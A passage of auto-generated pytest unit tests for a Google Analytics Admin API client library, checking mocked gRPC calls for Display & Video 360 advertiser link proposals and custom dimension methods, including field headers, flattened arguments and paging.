transport: str = "grpc_asyncio",
request_type=analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.approve_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse()
)
response = await client.approve_display_video360_advertiser_link_proposal(
request
)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(
response, analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse
)
@pytest.mark.asyncio
async def test_approve_display_video360_advertiser_link_proposal_async_from_dict():
await test_approve_display_video360_advertiser_link_proposal_async(
request_type=dict
)
def test_approve_display_video360_advertiser_link_proposal_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.approve_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = (
analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse()
)
client.approve_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_approve_display_video360_advertiser_link_proposal_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.approve_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ApproveDisplayVideo360AdvertiserLinkProposalResponse()
)
await client.approve_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_cancel_display_video360_advertiser_link_proposal(
transport: str = "grpc",
request_type=analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.cancel_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
response = client.cancel_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
def test_cancel_display_video360_advertiser_link_proposal_from_dict():
test_cancel_display_video360_advertiser_link_proposal(request_type=dict)
def test_cancel_display_video360_advertiser_link_proposal_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.cancel_display_video360_advertiser_link_proposal),
"__call__",
) as call:
client.cancel_display_video360_advertiser_link_proposal()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest()
)
@pytest.mark.asyncio
async def test_cancel_display_video360_advertiser_link_proposal_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.cancel_display_video360_advertiser_link_proposal),
"__call__",
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal(
name="name_value",
advertiser_id="advertiser_id_value",
advertiser_display_name="advertiser_display_name_value",
validation_email="validation_email_value",
)
)
response = await client.cancel_display_video360_advertiser_link_proposal(
request
)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert (
args[0]
== analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest()
)
# Establish that the response is the type that we expect.
assert isinstance(response, resources.DisplayVideo360AdvertiserLinkProposal)
assert response.name == "name_value"
assert response.advertiser_id == "advertiser_id_value"
assert response.advertiser_display_name == "advertiser_display_name_value"
assert response.validation_email == "validation_email_value"
@pytest.mark.asyncio
async def test_cancel_display_video360_advertiser_link_proposal_async_from_dict():
await test_cancel_display_video360_advertiser_link_proposal_async(request_type=dict)
def test_cancel_display_video360_advertiser_link_proposal_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.cancel_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = resources.DisplayVideo360AdvertiserLinkProposal()
client.cancel_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_cancel_display_video360_advertiser_link_proposal_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CancelDisplayVideo360AdvertiserLinkProposalRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.cancel_display_video360_advertiser_link_proposal),
"__call__",
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.DisplayVideo360AdvertiserLinkProposal()
)
await client.cancel_display_video360_advertiser_link_proposal(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_create_custom_dimension(
transport: str = "grpc", request_type=analytics_admin.CreateCustomDimensionRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
response = client.create_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
def test_create_custom_dimension_from_dict():
test_create_custom_dimension(request_type=dict)
def test_create_custom_dimension_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
client.create_custom_dimension()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomDimensionRequest()
@pytest.mark.asyncio
async def test_create_custom_dimension_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.CreateCustomDimensionRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
)
response = await client.create_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
@pytest.mark.asyncio
async def test_create_custom_dimension_async_from_dict():
await test_create_custom_dimension_async(request_type=dict)
def test_create_custom_dimension_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateCustomDimensionRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
call.return_value = resources.CustomDimension()
client.create_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_custom_dimension_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateCustomDimensionRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
await client.create_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_custom_dimension_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_custom_dimension(
parent="parent_value",
custom_dimension=resources.CustomDimension(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].custom_dimension == resources.CustomDimension(name="name_value")
def test_create_custom_dimension_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_custom_dimension(
analytics_admin.CreateCustomDimensionRequest(),
parent="parent_value",
custom_dimension=resources.CustomDimension(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_custom_dimension_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_custom_dimension(
parent="parent_value",
custom_dimension=resources.CustomDimension(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].custom_dimension == resources.CustomDimension(name="name_value")
@pytest.mark.asyncio
async def test_create_custom_dimension_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_custom_dimension(
analytics_admin.CreateCustomDimensionRequest(),
parent="parent_value",
custom_dimension=resources.CustomDimension(name="name_value"),
)
def test_update_custom_dimension(
transport: str = "grpc", request_type=analytics_admin.UpdateCustomDimensionRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
response = client.update_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
def test_update_custom_dimension_from_dict():
test_update_custom_dimension(request_type=dict)
def test_update_custom_dimension_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
client.update_custom_dimension()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomDimensionRequest()
@pytest.mark.asyncio
async def test_update_custom_dimension_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.UpdateCustomDimensionRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension(
name="name_value",
parameter_name="parameter_name_value",
display_name="display_name_value",
description="description_value",
scope=resources.CustomDimension.DimensionScope.EVENT,
disallow_ads_personalization=True,
)
)
response = await client.update_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.UpdateCustomDimensionRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CustomDimension)
assert response.name == "name_value"
assert response.parameter_name == "parameter_name_value"
assert response.display_name == "display_name_value"
assert response.description == "description_value"
assert response.scope == resources.CustomDimension.DimensionScope.EVENT
assert response.disallow_ads_personalization is True
@pytest.mark.asyncio
async def test_update_custom_dimension_async_from_dict():
await test_update_custom_dimension_async(request_type=dict)
def test_update_custom_dimension_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateCustomDimensionRequest()
request.custom_dimension.name = "custom_dimension.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
call.return_value = resources.CustomDimension()
client.update_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"custom_dimension.name=custom_dimension.name/value",
) in kw["metadata"]
@pytest.mark.asyncio
async def test_update_custom_dimension_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.UpdateCustomDimensionRequest()
request.custom_dimension.name = "custom_dimension.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
await client.update_custom_dimension(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert (
"x-goog-request-params",
"custom_dimension.name=custom_dimension.name/value",
) in kw["metadata"]
def test_update_custom_dimension_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.update_custom_dimension(
custom_dimension=resources.CustomDimension(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].custom_dimension == resources.CustomDimension(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
def test_update_custom_dimension_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.update_custom_dimension(
analytics_admin.UpdateCustomDimensionRequest(),
custom_dimension=resources.CustomDimension(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
@pytest.mark.asyncio
async def test_update_custom_dimension_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.update_custom_dimension), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CustomDimension()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CustomDimension()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.update_custom_dimension(
custom_dimension=resources.CustomDimension(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].custom_dimension == resources.CustomDimension(name="name_value")
assert args[0].update_mask == field_mask_pb2.FieldMask(paths=["paths_value"])
@pytest.mark.asyncio
async def test_update_custom_dimension_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.update_custom_dimension(
analytics_admin.UpdateCustomDimensionRequest(),
custom_dimension=resources.CustomDimension(name="name_value"),
update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]),
)
def test_list_custom_dimensions(
transport: str = "grpc", request_type=analytics_admin.ListCustomDimensionsRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomDimensionsResponse(
next_page_token="next_page_token_value",
)
response = client.list_custom_dimensions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomDimensionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCustomDimensionsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_custom_dimensions_from_dict():
test_list_custom_dimensions(request_type=dict)
def test_list_custom_dimensions_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
client.list_custom_dimensions()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomDimensionsRequest()
@pytest.mark.asyncio
async def test_list_custom_dimensions_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.ListCustomDimensionsRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomDimensionsResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_custom_dimensions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListCustomDimensionsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListCustomDimensionsAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_custom_dimensions_async_from_dict():
await test_list_custom_dimensions_async(request_type=dict)
def test_list_custom_dimensions_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListCustomDimensionsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
call.return_value = analytics_admin.ListCustomDimensionsResponse()
client.list_custom_dimensions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_custom_dimensions_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListCustomDimensionsRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomDimensionsResponse()
)
await client.list_custom_dimensions(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_custom_dimensions_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomDimensionsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_custom_dimensions(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_custom_dimensions_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_custom_dimensions(
analytics_admin.ListCustomDimensionsRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_custom_dimensions_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListCustomDimensionsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListCustomDimensionsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_custom_dimensions(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_custom_dimensions_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_custom_dimensions(
analytics_admin.ListCustomDimensionsRequest(), parent="parent_value",
)
def test_list_custom_dimensions_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
resources.CustomDimension(),
],
next_page_token="abc",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[], next_page_token="def",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[resources.CustomDimension(),], next_page_token="ghi",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_custom_dimensions(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.CustomDimension) for i in results)
def test_list_custom_dimensions_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_custom_dimensions), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[
resources.CustomDimension(),
resources.CustomDimension(),
resources.CustomDimension(),
],
next_page_token="abc",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[], next_page_token="def",
),
analytics_admin.ListCustomDimensionsResponse(
custom_dimensions=[resources.CustomDimension(),], next_page_token="ghi",
),
